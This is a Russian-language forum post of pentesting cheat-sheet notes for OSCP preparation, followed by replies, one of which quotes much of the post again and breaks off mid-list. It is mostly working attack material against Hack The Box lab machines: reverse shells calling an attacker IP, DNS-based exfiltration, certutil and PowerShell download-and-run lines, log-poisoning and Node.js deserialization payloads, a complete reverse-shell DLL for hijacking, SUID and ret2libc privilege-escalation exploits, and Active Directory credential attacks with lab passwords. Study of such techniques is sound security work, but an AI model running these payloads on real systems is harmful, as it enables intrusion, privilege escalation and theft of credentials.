Статья Записки пентестера

Доброе %CURRENT_TIME%. За погоней к OSCP я тут собираю различные материалы и заметочки. Решил некоторыми из них поделиться.

SMB:
  • smbclient -L //10.10.10.100
  • smbclient -N \\\\10.10.10.123\\general
  • smbmap -H 10.10.10.107 -u alice1978 -p '00000000000000000000000000000000:0B186E661BBDBDCF6047784DE8B9FD8B' --download alice/my_private_key.ppk - скачать удаленно файл через pass-the-hash
Group Policy Hijacking:
Код:
sudo apt-get install cifs-utils
mkdir /mnt/Replication
Smbmap -R Replication -H <host> -A Groups.xml -q
mount -t cifs //10.10.10.100/Replication /mnt/Replication -o username=,password=,domain=active.htb
grep -R password /mnt/Replication/
gpp-decrypt <pass-gpppolicy>

Kerberoasting:
  • ldapsearch -x -h <HOST> -p 389 -D '<USER>' -w '<PASS>' -b "dc=active,dc=htb" -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.1 13556.1.4.803:=2))(serviceprincipalname=*/*))" serviceprincipalname | grep -B 1 servicePrincipalName
  • ldapsearch -x -h 10.10.10.100 -p 389 -D ‘SVC_TGS’ -w ‘GPPstillStandingStrong2k18’-b “dc=active,dc=htb” -s sub ”(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))” samaccountname | grep sAMAccountNamePage
  • GetADUsers.py -all active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100
  • GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request -output tgs-administrator.hash
  • psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100
LDAP:
  • ldapsearch -x -h 10.10.10.100 -p 389 -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -b "dc=active,dc=htb" -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1. 4.803:=2)))" samaccountname | grep sAMAccountName
  • GetUserSPNs.py <SPN> -dc-ip <host> -request
  • /opt/hashcat/hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --force --potfile-disable
  • john –format:krb5tgs hashws.txt –wordlist=/rockyou.txt
  • wmiexec.py <SPN>:password@host
Graphql:
  • curl -s -G --data-urlencode "query={user}" | jq
  • curl -s -G --data-urlencode 'query={user {username} }' | jq
  • curl -s -G --data-urlencode 'query={user {username, password} }' | jq
Fingerprint:
  • nmap -Pn -sV -sC -p80 --min-rate=300 <host>
  • Drupal: /opt/droopescan/droopescan scan drupal -u
  • nmap --script safe -445 10.10.10.100
  • ./dirseach
  • sslyze --regular 10.10.10.65
  • ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.130 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
    • nmap -p$ports -sC -sV -T4 10.10.10.130
  • powershell "(new-object System.Net.WebClient).Downloadfile('http://<IP>/writeup.exe', 'writeup.exe')"
  • cmd /c sc query state= all type= all | findstr SERVICE_NAME
  • enum4linux -u hazard -p stealth1agent -a 10.10.10.149
  • nmap --script-help ftp-anon
    nmap -sV --script=nfs-ls 10.10.10.34
    nmap --script ftp-brute scavenger.htb -p21
    nmap --script smtp-enum-users.nse
    nmap --script smtp-commands.nse 10.10.10.155 -p25
  • masscan -p1-65535,U:1-65535 10.10.10.98 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
    • ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
    • nmap -Pn -sV -sC -p$ports 10.10.10.98
  • wpscan --url --wordlist /root/Desktop/writeups/apocalyst/list.txt --enumerate [plugin, users, tehemes]
  • sslyze --regular 10.10.10.65
  • find / -perm -4000 2>/dev/null
  • ldd /usr/bin/myexe
  • ldconfig -v | grep -v "^"$'\t' | sed "s/:$//g"
  • cat /etc/ld.so.conf.d/*.conf
  • fsutil fsinfo drive
Brute:
  • hashcat -m 7900 admin.hash /usr/share/wordlists/rockyou.txt -o admin.cracked –force
  • zip2john BHWS_Backup.zip > hash
    • john -w=rockyou.txt hash
  • fcrackzip -D -p
  • ssh2john id_rsa > span.john
    • john span.john
  • 7z2john.pl backup.7z > hash
  • john --format=7z --wordlist=rockyou.txt hash
Shell – nc:
Privesc linux:
  • python -c 'import pty; pty.spawn("/bin/sh")'
  • rebootuser/LinEnum
  • debugfs /dev/sda1
  • runas /user:ACCESS\Administrator /savecred "powershell -c IEX (New-Object Net.Webclient).downloadstring(' ')"
  • sudo -l
  • linuxprivchecker
  • /var/log/auth.log
  • cron job
  • SUID/GUID
  • PS
  • Netstat - nlp
  • mail
  • sudo - l
OpenSSL Reverse Shell:
  • Listener
    • openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
    • openssl s_server -quiet -key key.pem -cert cert.pem -port 73
    • openssl s_server -quiet -key key.pem -cert cert.pem -port 136
  • Client
    • C:\..\openssl.exe s_client -quiet -connect 10.10.14.2:73 | cmd.exe | C:\..\openssl.exe s_client -quiet -connect 10.10.14.2:136"
DNSLOOKUP Reverse Shell - WINDOWS:
  • Client
    • FOR /F "tokens=1" %g IN 'whoami' do (nslookup %g 10.10.14.23)
    • FOR /F "tokens=1" %g IN 'dir /b c:\users' do (nslookup %g 10.10.14.23)
  • Listener
    • tcpdump -nni tun0 -vv port 53
PRives Windows:
  • exploit/windows/local/bypassuac_eventvwr
  • exploit/windows/local/ms10_015_kitrap0d
  • ms16_032_secondary_logon_handle_privesc
  • SecWiki/windows-kernel-exploits
  • wget
  • ./openssl base64 -in /etc/shadow | base64 --
  • Icacls www
    • certutil -urlcache -split -f <host>/file.exe
Mdb format restore:
  • mdb-tables backup.mdb | grep --color=auto user mdb-export backup.mdb auth_user
  • readpst -tea -m Access\ Control.pst
Scanner port via openssl:
for host in 1 2 3 4; do for port in 21 22 25 80 443 8080; do echo 172.19.0.$host:$port & openssl s_client -connect 172.19.0.$host:$port 2> /dev/null | grep CONNECTED; done; done

IIS-SHortScanner:
  • java -jar /opt/IIS-ShortName-Scanner/iis_shortname_scanner.jar 2 20 /opt/IIS-ShortName-Scanner/config.xml
Port-forward:
Padding Oracle Attack:
  • padbuster 2zKLNWhe0Xt7G4ymYDK%2BEdptckP8a8vO 8 -cookies auth=2zKLNWhe0Xt7G4ymYDK%2BEdptckP8a8vO -encoding 0
  • padbuster 2zKLNWhe0Xt7G4ymYDK%2BEdptckP8a8vO 8 -cookies auth=2zKLNWhe0Xt7G4ymYDK%2BEdptckP8a8vO -encoding 0 -plaintext user=admin
Log Posion:
  • Отправляем запрос с хидером User-Agent: <?php system($_GET[‘c’]); ?>
  • Через LFI читаем /var/log/apache2/access.log?c=id
Docker Escalate
  • docker run -it -v /:/opt bash bash
  • docker run -it -v `pwd`:/root quickbreach/powershell-ntlm
Запись ssh ключа:
  • echo 'ssh-rsa AAAAB3NzaC1yc2[.......................]smp root@host' > /home/zabbix/.ssh/authorized_keys
Reverse connect:
  • echo "mkfifo /tmp/pepe; nc 10.1.0.42 8888 0</tmp/pepe | /bin/sh >/tmp/pepe 2>&1; rm /tmp/pepe" > /tmp/shell.sh
  • tar cf www/arc.tar --checkpoint-action=exec=sh shell.sh --checkpoint=1 archive.tar lhennp shell.sh systemd-private-484fa214f76d4a889cc1e7a8563f7881-systemd-timesyncd.service-40OZJe www
  • ssh -i /root/.ssh/id_rsa user@ip
  • Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.2 -Port 4444
  • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 1335 >/tmp/f
  • nc -e /bin/sh 10.1.0.42 8888
  • bash -i >& /dev/tcp/10.0.14.11/1339 0>&1
  • echo%20%27%3C%3F%20%24sock%3Dfsockopen%28%2210.10.14.14%22%2C1234%29%3Bexec%28%22%2Fbin%2Fbash%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%20%3F%3E%27%20%3E%20wc.php
  • <?php $sock=fsockopen("10.10.14.14",1234);exec("/bin/sh -i <&3 >&3 2>&3"); ?>
Download with certutil:
  • certutil.exe -urlcache -split -f c:\users\public\desktop\shortcuts\nc.exe
Decrypt image:
  • cryptsetup luksDump backup.img | grep "Payload offset"
  • dd if=backup.img of=header bs=512 count=4097
  • hashcat -m 14600 -a 0 -w 3 header rockyou.txt
Create Serialize payload :
  • java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 2 10.10.16.32' > payload.bin
WinRM Login PS:
Код:
$pass = ConvertTo-SecureString '$sys4ops@megabank!' -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential('alice', $pass)
$session = New-PSSession -ComputerName 10.10.10.132 -Credential
$cred -Authentication Negotiate Enter-PSSession $session

Python web server
  • python3 -m http.server 80 - server
  • wget 10.10.16.32/rootshell - client
ByPass Uac:
Код:
git clone https://github.com/GreatSCT/GreatSCT
cd GreatSCT/setup
sudo ./setup.sh -c
cd ..
./GreatSCT.py
powershell wget 10.10.16.32/payload.xml -O payload.xml cmd /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

Hack with SUID:
Suid shell:
Код:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void)
{
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}

Compile:
gcc -fPIC -shared -ldl -o libhax.so file1.c

Rootshell:
Код:
#include <stdio.h>
int main(void)
{
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}

Compile:
gcc root.c -o rootshell

Execute shell:
Код:
cd /etc umask 000
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
screen -ls  /tmp/rootshell

Generate cert to ssh:
  • openssl genrsa -out client.key 2048
  • openssl req -new -key client.key -out client.csr
  • openssl x509 -req -in client.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out client.pem -days 1024 -sha256
  • openssl pkcs12 -export -out client.pfx -inkey client.key -in client.pem -certfile intermediate.cert.pem
DLL Hijacking:
Код:
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <ws2tcpip.h>
#define DEFAULT_BUFLEN 1024
void ExecutePayload(void);

BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
   switch (dwReason)
   {
      case DLL_PROCESS_ATTACH:
         ExecutePayload();
         break;
      case DLL_PROCESS_DETACH:
         break;
      case DLL_THREAD_ATTACH:
         lifetime
         break;
      case DLL_THREAD_DETACH:
         break;
   }
   return TRUE;
}

void ExecutePayload(void) {
   Sleep(1000);
   SOCKET mySocket;
   sockaddr_in addr;
   WSADATA version;
   WSAStartup(MAKEWORD(2,2), &version);
   mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
   addr.sin_family = AF_INET;
   addr.sin_addr.s_addr = inet_addr("10.10.16.32");
   addr.sin_port = htons(4443);

   if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL,NULL, NULL)==SOCKET_ERROR)
   {
      closesocket(mySocket);
      WSACleanup();
   }
   else {
      char RecvData[DEFAULT_BUFLEN];
      memset(RecvData, 0, sizeof(RecvData));
      int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
      if (RecvCode <= 0) {
         closesocket(mySocket);
         WSACleanup();
      }
      else {
         char Process[] = "cmd.exe";
         STARTUPINFO sinfo;
         PROCESS_INFORMATION pinfo;
         memset(&sinfo, 0, sizeof(sinfo));
         sinfo.cb = sizeof(sinfo);
         sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
         sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
         CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
         WaitForSingleObject(pinfo.hProcess, INFINITE);
         CloseHandle(pinfo.hProcess);
         CloseHandle(pinfo.hThread);
         memset(RecvData, 0, sizeof(RecvData));
         int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
         if (RecvCode <= 0) {
            closesocket(mySocket);
            WSACleanup();
         }
        if (strcmp(RecvData, "exit\n") == 0) {
           exit(0);
        }
     }
   }
}
Execute&Compile:
  • apt install mingw-64
  • i686-w64-mingw32-g++ pwn.cpp -lws2_32 -o srrstr.dll -shared
  • cd C:\Users\Batman\AppData\Local\Microsoft\WindowsApps upload srrstr.dll
  • cmd /c C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
WinRM via PS:
Код:
$pass = convertto-securestring 'Zx^#QZX+T!123' -asplain -force
$cred = new-object system.management.automation.pscredential('arkham\batman', $pass)
enter-pssession -computer arkham -credential $cred

Wfuzz Cookie:
  • wfuzz -c --hw=29 -w /usr/share/SecLists/Passwords/darkweb2017-top1000.txt -H "Cookie: password=FUZZ"
GCC static shared compile:
  • gcc -shared -fPIC -o libseclogin.so libseclogin.c
BGP (CISCO):
  • sh ip bgp 10.120.15.0/25
  • vtysh
  • bgp 100
NodeJs Serializer:
Код:
{"username":"_$$ND_FUNC$$_require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat  /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 1234 >/tmp/f', function(error, stdout, stderr) {  console.log(stdout) })","country":"Lameville","city":"Lametown","num":"2"}

Golden Ticket Automate:
  • rpcclient -U htb\\james mantis.htb.local
  • python ms14-068.py -u james@htb.local -d mantis.htb.local -p J@m3s_P@ssW0rd! -s S-1-5-21-4220043660-4019079961-2895681657
  • python goldenPac.py htb.local/james@mantis.htb.local
ICMP Reverse shell:
HotPotato:
  • wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
  • whoami /all > C:\Users\Public\proof.tx
  • .\juicypotato.exe -t * -p C:\Users\Destitute\root.bat -l 9001 -c {A9B5F443-FE02-4C19-859D-E9B5C5A1B6C6}
  • net user Administrator abc123! -> shell
  • psexec.py administrator@10.10.10.11
  • pth-winexe -U jeeves/Administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cb e81fe00 //10.10.10.63 cmd
Exploit SUID Binary:
Find libc address: ldd /usr/local/bin/backup
Find libc system function: readelf -s /lib32/libc.so.6 | grep system
Find libc exit function: readelf -s /lib32/libc.so.6 | grep exit
Find libc /bin/sh reference: strings -a -t x /lib32/libc.so.6 | grep /bin/sh
Example SUID:
Код:
import struct, subprocess
libc = 0xf75e2000
sysOffset = 0x0003a940
sysAddress = libc + sysOffset
exitOffset = 0x0002e7b0
exitAddress = libc + exitOffset
binsh = libc + 0x0015900b
payload = "A" * 512
payload += struct.pack("<I", sysAddress)
payload += struct.pack("<I", exitAddress)
payload += struct.pack("<I", binsh)
attempts = 0
while True: 
    attempts += 1 
    print "Attempts: " + attempts 
    subprocess.call(["/usr/local/bin/backup", "-i",  "3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110",  payload])

Active Directory DACL Attack Chain:
  • Set-DomainObjectOwner -Identity claire -OwnerIdentity tom
  • Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword -Verbose
  • $UserPassword = ConvertTo-SecureString 'Sup3rS3cr3t!' -AsPlainText -Force -Verbose
  • Set-DomainUserPassword -Identity claire -AccountPassword $UserPassword -Verbose
  • $Cred = New-Object System.Management.Automation.PSCredential('HTB\claire', $UserPassword)
  • Add-DomainGroupMember -Identity 'Backup_Admins' -Members 'claire' -Credential $Cred
Windows Subsystem Linux :
  • Get-ChildItem HKCU:\Software\Microsoft\Windows\CurrentVersion\Lxss | %{Get-ItemProperty $_.PSPath} | out-string -width 4096
SNMP:
  • snmpwalk -Os -c public -v 1 10.10.10.20
Oracle odat:
  • quentinhardy/odat
  • Upload file: ./odat.py utlfile -s 10.10.10.82 -p 1521 -U scott -P tiger -d XE --sysdba --putFile c:/ writeup.exe writeup.exe
  • Execute file: ./odat.py externaltable -s 10.10.10.82 -p 1521 -U scott -P tiger -d XE --sysdba --exec c:/ writeup.exe
Html form brute:
Код:
patator http_fuzz url=http://10.10.10.108/zabbix/index.php method=POST body='name=zapper&password=FILE0&autologin=1&enter=Sign+in' 0=/usr/share/SecLists/Passwords/darkweb2017-top1000.txt accept_cookie=1  follow=1 -x ignore:fgrep='Login name or password is incorrect.'

LINKS:

Ещё в довесок
 

Вложения

Последнее редактирование:
NMAP hacking tricks - это прикол какой-то ?
Или ты реально перепутал интересующую тебя литературу ?
SooLFaa, научись "отдавать" в самом широком смысле этого слова.
Я не про книгу, это - метафора.
 
  • Нравится
Реакции: explorer
NMAP hacking tricks - это прикол какой-то ?
Или ты реально перепутал интересующую тебя литературу ?
SooLFaa, научись "отдавать" в самом широком смысле этого слова.
Я не про книгу, это - метафора.
Я тебя не понял?! Чему научиться?
 
По суидникам , нормально расписано
 
Доброе %CURRENT_TIME%. За погоней к OSCP я тут собираю различные материалы и заметочки. Решил некоторыми из них поделиться.

SMB:
  • smbclient -L //10.10.10.100
  • smbclient -N \\\\10.10.10.123\\general
  • smbmap -H 10.10.10.107 -u alice1978 -p '00000000000000000000000000000000:0B186E661BBDBDCF6047784DE8B9FD8B' --download alice/my_private_key.ppk - скачать удаленно файл через pass-the-hash
Group Policy Hijacking:
Код:
sudo apt-get install cifs-utils
mkdir /mnt/Replication
Smbmap -R Replication -H <host> -A Groups.xml -q
mount -t cifs //10.10.10.100/Replication /mnt/Replication -o username=,password=,domain=active.htb
grep -R password /mnt/Replication/
gpp-decrypt <pass-gpppolicy>

Kerberoasting:
  • ldapsearch -x -h <HOST> -p 389 -D '<USER>' -w '<PASS>' -b "dc=active,dc=htb" -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.1 13556.1.4.803:=2))(serviceprincipalname=*/*))" serviceprincipalname | grep -B 1 servicePrincipalName
  • ldapsearch -x -h 10.10.10.100 -p 389 -D ‘SVC_TGS’ -w ‘GPPstillStandingStrong2k18’-b “dc=active,dc=htb” -s sub ”(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))” samaccountname | grep sAMAccountNamePage
  • GetADUsers.py -all active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100
  • GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request -output tgs-administrator.hash
  • psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100
LDAP:
  • ldapsearch -x -h 10.10.10.100 -p 389 -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -b "dc=active,dc=htb" -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1. 4.803:=2)))" samaccountname | grep sAMAccountName
  • GetUserSPNs.py <SPN> -dc-ip <host> -request
  • /opt/hashcat/hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --force --potfile-disable
  • john –format:krb5tgs hashws.txt –wordlist=/rockyou.txt
  • wmiexec.py <SPN>:password@host
Graphql:
  • curl -s -G --data-urlencode "query={user}" | jq
  • curl -s -G --data-urlencode 'query={user {username} }' | jq
  • curl -s -G --data-urlencode 'query={user {username, password} }' | jq
Fingerprint:
  • nmap -Pn -sV -sC -p80 --min-rate=300 <host>
  • Drupal: /opt/droopescan/droopescan scan drupal -u
  • nmap --script safe -445 10.10.10.100
  • ./dirseach
  • sslyze --regular 10.10.10.65
  • ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.130 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
    • nmap -p$ports -sC -sV -T4 10.10.10.130
  • powershell "(new-object System.Net.WebClient).Downloadfile('http://<IP>/writeup.exe', 'writeup.exe')"
  • cmd /c sc query state= all type= all | findstr SERVICE_NAME
  • enum4linux -u hazard -p stealth1agent -a 10.10.10.149
  • nmap --script-help ftp-anon
    nmap -sV --script=nfs-ls 10.10.10.34
    nmap --script ftp-brute scavenger.htb -p21
    nmap --script smtp-enum-users.nse
    nmap --script smtp-commands.nse 10.10.10.155 -p25
  • masscan -p1-65535,U:1-65535 10.10.10.98 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
    • ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
    • nmap -Pn -sV -sC -p$ports 10.10.10.98
  • wpscan --url --wordlist /root/Desktop/writeups/apocalyst/list.txt --enumerate [plugin, users, tehemes]
  • sslyze --regular 10.10.10.65
  • find / -perm -4000 2>/dev/null
  • ldd /usr/bin/myexe
  • ldconfig -v | grep -v "^"$'\t' | sed "s/:$//g"
  • cat /etc/ld.so.conf.d/*.conf
  • fsutil fsinfo drive
Brute:
  • hashcat -m 7900 admin.hash /usr/share/wordlists/rockyou.txt -o admin.cracked –force
  • zip2john BHWS_Backup.zip > hash
    • john -w=rockyou.txt hash
  • fcrackzip -D -p
  • ssh2john id_rsa > span.john
    • john span.john
  • 7z2john.pl backup.7z > hash
  • john --format=7z --wordlist=rockyou.txt hash
Shell – nc:
Privesc linux:
  • python -c 'import pty; pty.spawn("/bin/sh")'
  • rebootuser/LinEnum
  • debugfs /dev/sda1
  • runas /user:ACCESS\Administrator /savecred "powershell -c IEX (New-Object Net.Webclient).downloadstring(' ')"
  • sudo -l
  • linuxprivchecker
  • /var/log/auth.log
  • cron job
  • SUID/GUID
  • PS
  • Netstat - nlp
  • mail
  • sudo - l
OpenSSL Reverse Shell:
  • Listener
    • openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
    • openssl s_server -quiet -key key.pem -cert cert.pem -port 73
    • openssl s_server -quiet -key key.pem -cert cert.pem -port 136
  • Client
    • C:\..\openssl.exe s_client -quiet -connect 10.10.14.2:73 | cmd.exe | C:\..\openssl.exe s_client -quiet -connect 10.10.14.2:136"
DNSLOOKUP Reverse Shell - WINDOWS:
  • Client
    • FOR /F "tokens=1" %g IN 'whoami' do (nslookup %g 10.10.14.23)
    • FOR /F "tokens=1" %g IN 'dir /b c:\users' do (nslookup %g 10.10.14.23)
  • Listener
    • tcpdump -nni tun0 -vv port 53
PRives Windows:
  • exploit/windows/local/bypassuac_eventvwr
  • exploit/windows/local/ms10_015_kitrap0d
  • ms16_032_secondary_logon_handle_privesc
  • SecWiki/windows-kernel-exploits
  • wget
  • ./openssl base64 -in /etc/shadow | base64 --
  • Icacls www
    • certutil -urlcache -split -f <host>/file.exe
Mdb format restore:
  • mdb-tables backup.mdb | grep --color=auto user mdb-export backup.mdb auth_user
  • readpst -tea -m Access\ Control.pst
Scanner port via openssl:
for host in 1 2 3 4; do for port in 21 22 25 80 443 8080; do echo 172.19.0.$host:$port & openssl s_client -connect 172.19.0.$host:$port 2> /dev/null | grep CONNECTED; done; done

IIS-SHortScanner:
  • java -jar /opt/IIS-ShortName-Scanner/iis_shortname_scanner.jar 2 20 /opt/IIS-ShortName-Scanner/config.xml
Port-forward:
Padding Oracle Attack:
  • padbuster 2zKLNWhe0Xt7G4ymYDK%2BEdptckP8a8vO 8 -cookies auth=2zKLNWhe0Xt7G4ymYDK%2BEdptckP8a8vO -encoding 0
  • padbuster 2zKLNWhe0Xt7G4ymYDK%2BEdptckP8a8vO 8 -cookies auth=2zKLNWhe0Xt7G4ymYDK%2BEdptckP8a8vO -encoding 0 -plaintext user=admin
Log Posion:
  • Отправляем запрос с хидером User-Agent: <?php system($_GET[‘c’]); ?>
  • Через LFI читаем /var/log/apache2/access.log?c=id
Docker Escalate
  • docker run -it -v /:/opt bash bash
  • docker run -it -v `pwd`:/root quickbreach/powershell-ntlm
Запись ssh ключа:
  • echo 'ssh-rsa AAAAB3NzaC1yc2[.......................]smp root@host' > /home/zabbix/.ssh/authorized_keys
Reverse connect:
  • echo "mkfifo /tmp/pepe; nc 10.1.0.42 8888 0</tmp/pepe | /bin/sh >/tmp/pepe 2>&1; rm /tmp/pepe" > /tmp/shell.sh
  • tar cf www/arc.tar --checkpoint-action=exec=sh shell.sh --checkpoint=1 archive.tar lhennp shell.sh systemd-private-484fa214f76d4a889cc1e7a8563f7881-systemd-timesyncd.service-40OZJe www
  • ssh -i /root/.ssh/id_rsa user@ip
  • Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.2 -Port 4444
  • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 1335 >/tmp/f
  • nc -e /bin/sh 10.1.0.42 8888
  • bash -i >& /dev/tcp/10.0.14.11/1339 0>&1
  • echo%20%27%3C%3F%20%24sock%3Dfsockopen%28%2210.10.14.14%22%2C1234%29%3Bexec%28%22%2Fbin%2Fbash%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%20%3F%3E%27%20%3E%20wc.php
  • <?php $sock=fsockopen("10.10.14.14",1234);exec("/bin/sh -i <&3 >&3 2>&3"); ?>
Download with certutil:
  • certutil.exe -urlcache -split -f c:\users\public\desktop\shortcuts\nc.exe
Decrypt image:
  • cryptsetup luksDump backup.img | grep "Payload offset"
  • dd if=backup.img of=header bs=512 count=4097
  • hashcat -m 14600 -a 0 -w 3 header rockyou.txt
Create Serialize payload :
  • java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 2 10.10.16.32' > payload.bin
WinRM Login PS:
Код:
$pass = ConvertTo-SecureString '$sys4ops@megabank!' -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential('alice', $pass)
$session = New-PSSession -ComputerName 10.10.10.132 -Credential
$cred -Authentication Negotiate Enter-PSSession $session

Python web server
  • python3 -m http.server 80 - server
  • wget 10.10.16.32/rootshell - client
ByPass Uac:
Код:
git clone https://github.com/GreatSCT/GreatSCT
cd GreatSCT/setup
sudo ./setup.sh -c
cd ..
./GreatSCT.py
powershell wget 10.10.16.32/payload.xml -O payload.xml cmd /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

Hack with SUID:
Suid shell:
Код:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void)
{
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}

Compile:
gcc -fPIC -shared -ldl -o libhax.so file1.c

Rootshell:
Код:
#include <stdio.h>
int main(void)
{
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}

Compile:
gcc root.c -o rootshell

Execute shell:
Код:
cd /etc umask 000
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
screen -ls  /tmp/rootshell

Generate cert to ssh:
  • openssl genrsa -out client.key 2048
  • openssl req -new -key client.key -out client.csr
  • openssl x509 -req -in client.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out client.pem -days 1024 -sha256
  • openssl pkcs12 -export -out client.pfx -inkey client.key -in client.pem -certfile intermediate.cert.pem
DLL Hijacking:
Код:
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <ws2tcpip.h>
#define DEFAULT_BUFLEN 1024
void ExecutePayload(void);

BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
   switch (dwReason)
   {
      case DLL_PROCESS_ATTACH:
         ExecutePayload();
         break;
      case DLL_PROCESS_DETACH:
         break;
      case DLL_THREAD_ATTACH:
         lifetime
         break;
      case DLL_THREAD_DETACH:
         break;
   }
   return TRUE;
}

void ExecutePayload(void) {
   Sleep(1000);
   SOCKET mySocket;
   sockaddr_in addr;
   WSADATA version;
   WSAStartup(MAKEWORD(2,2), &version);
   mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
   addr.sin_family = AF_INET;
   addr.sin_addr.s_addr = inet_addr("10.10.16.32");
   addr.sin_port = htons(4443);

   if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL,NULL, NULL)==SOCKET_ERROR)
   {
      closesocket(mySocket);
      WSACleanup();
   }
   else {
      char RecvData[DEFAULT_BUFLEN];
      memset(RecvData, 0, sizeof(RecvData));
      int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
      if (RecvCode <= 0) {
         closesocket(mySocket);
         WSACleanup();
      }
      else {
         char Process[] = "cmd.exe";
         STARTUPINFO sinfo;
         PROCESS_INFORMATION pinfo;
         memset(&sinfo, 0, sizeof(sinfo));
         sinfo.cb = sizeof(sinfo);
         sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
         sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
         CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
         WaitForSingleObject(pinfo.hProcess, INFINITE);
         CloseHandle(pinfo.hProcess);
         CloseHandle(pinfo.hThread);
         memset(RecvData, 0, sizeof(RecvData));
         int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
         if (RecvCode <= 0) {
            closesocket(mySocket);
            WSACleanup();
         }
        if (strcmp(RecvData, "exit\n") == 0) {
           exit(0);
        }
     }
   }
}
Execute&Compile:
  • apt install mingw-64
  • i686-w64-mingw32-g++ pwn.cpp -lws2_32 -o srrstr.dll -shared
  • cd C:\Users\Batman\AppData\Local\Microsoft\WindowsApps upload srrstr.dll
